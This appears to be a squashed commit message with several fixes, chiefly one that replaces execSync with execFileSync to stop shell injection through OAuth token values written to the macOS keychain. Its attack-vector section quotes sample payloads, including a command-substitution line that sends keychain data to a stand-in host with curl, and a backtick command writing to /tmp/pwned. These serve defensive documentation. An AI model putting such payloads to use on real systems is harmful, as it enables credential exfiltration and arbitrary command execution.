Watch SKILL.md only (and one-level SKILL.md in skill roots) to prevent chokidar from tracking huge unrelated trees.
Co-authored-by: household-bard <shakespeare@hessianinformatics.com>
Replace execSync with execFileSync in writeClaudeCliKeychainCredentials
to prevent command injection via malicious OAuth token values (OC-28,
CWE-78, Severity: HIGH).
## Vulnerable Code
The previous implementation built a shell command via string
interpolation with single-quote escaping:
execSync(`security add-generic-password -U -s "..." -a "..." -w '${newValue.replace(/'/g, "'\"'\"'")}'`)
The replace() call only handles literal single quotes, but /bin/sh
still interprets other shell metacharacters inside the resulting
command string.
## Attack Vector
User-controlled OAuth tokens (from a malicious OAuth provider response)
could escape single-quote protection via:
- Command substitution: $(curl attacker.com/exfil?data=$(security ...))
- Backtick expansion: `id > /tmp/pwned`
These payloads bypass the single-quote escaping because $() and
backtick substitution are processed by the shell before the quotes
are evaluated, enabling arbitrary command execution as the gateway
user.
## Fix
execFileSync spawns the security binary directly, passing arguments
as an array that is never shell-interpreted:
execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", newValue])
This eliminates the shell injection vector entirely — no escaping
needed, the OS handles argument boundaries natively.
* fix: strip leading whitespace from sanitizeUserFacingText output
LLM responses frequently begin with \n\n, which survives through
sanitizeUserFacingText and reaches the channel as visible blank lines.
Root cause: the function used trimmed text for empty-checks but returned
the untrimmed 'stripped' variable. Two one-line fixes:
1. Return empty string (not whitespace-only 'stripped') for blank input
2. Apply trimStart() to the final return value
Fixes the same issue as #8052 and #10612 but at the root cause
(sanitizeUserFacingText) rather than scattering trimStart across
multiple delivery paths.
* Changelog: note sanitizeUserFacingText whitespace normalization
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>